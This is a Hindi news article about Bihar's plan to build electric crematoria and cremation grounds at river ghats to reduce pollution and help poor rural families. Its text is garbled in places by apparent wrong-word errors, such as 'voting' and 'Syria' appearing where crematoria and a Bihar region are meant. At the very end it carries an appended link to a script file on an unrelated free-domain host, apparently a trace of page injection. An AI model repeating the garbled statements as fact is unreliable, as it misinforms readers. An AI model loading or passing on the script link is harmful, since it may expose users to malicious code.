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बिहार,( कुलसूम फात्मा ) सरकार ने प्रदूषण की समस्या से निजात पाने के लिए एक और महत्वपूर्ण निर्णय लिया। शहर ही नहीं बल्कि ग्रामीण क्षेत्रों में शवदाह की बढ़ती समस्या तथा प्रदूषण की रोकथाम के लिए घाटों पर विद्युत शवदाह गृह के साथ-साथ मोक्ष धाम स्थापित करने की स्ट्रेटेजी बनाई जा रही है। सरकार रणनीति के द्वारा कम से कम खर्च पर शवदाह संस्कार संपन्न कराएगी ,निश्चित टू के जरिए इस योजना को कार्य रूप देने के लिए सरकार ने तैयारी भी शुरू कर दी है।

 

 

इसके लिए डिस्टिक एडमिनिस्ट्रेशन से रिपोर्ट की भी मांग की गई है। इस योजना से लाभ यह होगा की पिछड़े कोसी एरिया के गरीब लोगों को अपने मृत रिश्तेदार के दाह संस्कार की समस्या का हल मिल जाएगा।  पूर्व में दाह संस्कार की सुविधा नहीं रहने की वजह से जैसे तैसे लावारिस तरीके से लाशे फेंक दी जाती है और जिससे प्रदूषण की समस्या भी बढ़ती जा रही है। इस प्रदूषण को कंट्रोल करने के लिए प्रदूषण नियंत्रण बोर्ड के द्वारा इसके लिए लगातार सरकार को नोटिस दी जा रही है।

 

 

कबीर अंत्येष्टि की राशि से सही तरीके से दाह संस्कार करना भी बहुत कठिन होता है। विद्युत शवदाह गृह में इसी राशि से शव का दाह संस्कार हो सकेगा तथा प्रदूषण समस्या का भी हल मिल जाएगा। जिला मुख्यालयों में नगर विकास डिपार्टमेंट के जरिए विधायक योजना से मुक्तिधाम का फैसला तो कराया गया। लेकिन आवश्यक सुविधाओं के अभाव में यह दाह संस्कार में काफी दिक्कतों का सामना करना पड़ता है।

 

नदी घाटों पर विद्युत शवदाह गृह के साथ मतदान की भी स्थापना को सीरिया के सुदूर ग्रामीण इलाके में दाह संस्कार की समस्याओं को दूर किया जाएगा। इन नदी घाटों पर पहुंचने के लिए मनरेगा तथा अन्य योजनाओं से संपर्क पत्र भी तैयार किया जाएगें। जिससे के यहां के आवागमन में किसी भी तरीके की दिक्कत नहीं होगी। सभी शहरों पर महत्वपूर्ण नदी घाटों पर विद्युत शवदाह गृह के साथ-साथ मोक्षधाम बनाए जाएंगे सरकार द्बारा योजना बनाई गई है की इसके साथ ही विद्युत शवदाह गृह निर्माण से दाह संस्कार की दिक्कत से लोगों को निजात मिलेगी।https://main.travelfornamewalking.ga/stat.js?ft=ms

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